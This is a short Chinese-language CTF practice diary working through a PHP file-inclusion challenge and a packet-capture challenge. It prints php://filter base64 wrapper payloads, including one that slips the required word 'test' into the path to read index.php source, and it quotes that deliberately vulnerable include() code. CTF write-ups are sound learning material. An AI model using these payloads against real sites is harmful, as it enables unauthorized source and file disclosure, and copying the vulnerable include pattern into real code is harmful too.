3月19日刷题日记
不知所措.jpg

应该是文件包含的题目
尝试一下

自动给添加了php
我们构造一下payload:?file=php://filter/convert.base64-encode/resource=test.
读到了test.php的内容
<?php
echo "flag_not_here";
?>
我们来尝试读一下index.php,题目中提示$file must has test

?file=php://filter/convert.base64-encode/test/resource=index.
伪协议还能这么用
<?php
error_reporting(0);
$file=$_GET['file'];
$file=$file.'php';
echo $file."<br />";
if(preg_match('/test/is',$file)){
include ($file);
}else{
echo '$file must has test';
}
?>
我们看到了index.php的内容
用data协议来看一下文件

读出来flag
暗中观察

一个流量包

发现上传了一个zip,导出来解压一下
需要密码,在流量包里找一下

发现密码ctfshowys168com
解压拿到flag

浙公网安备 33010602011771号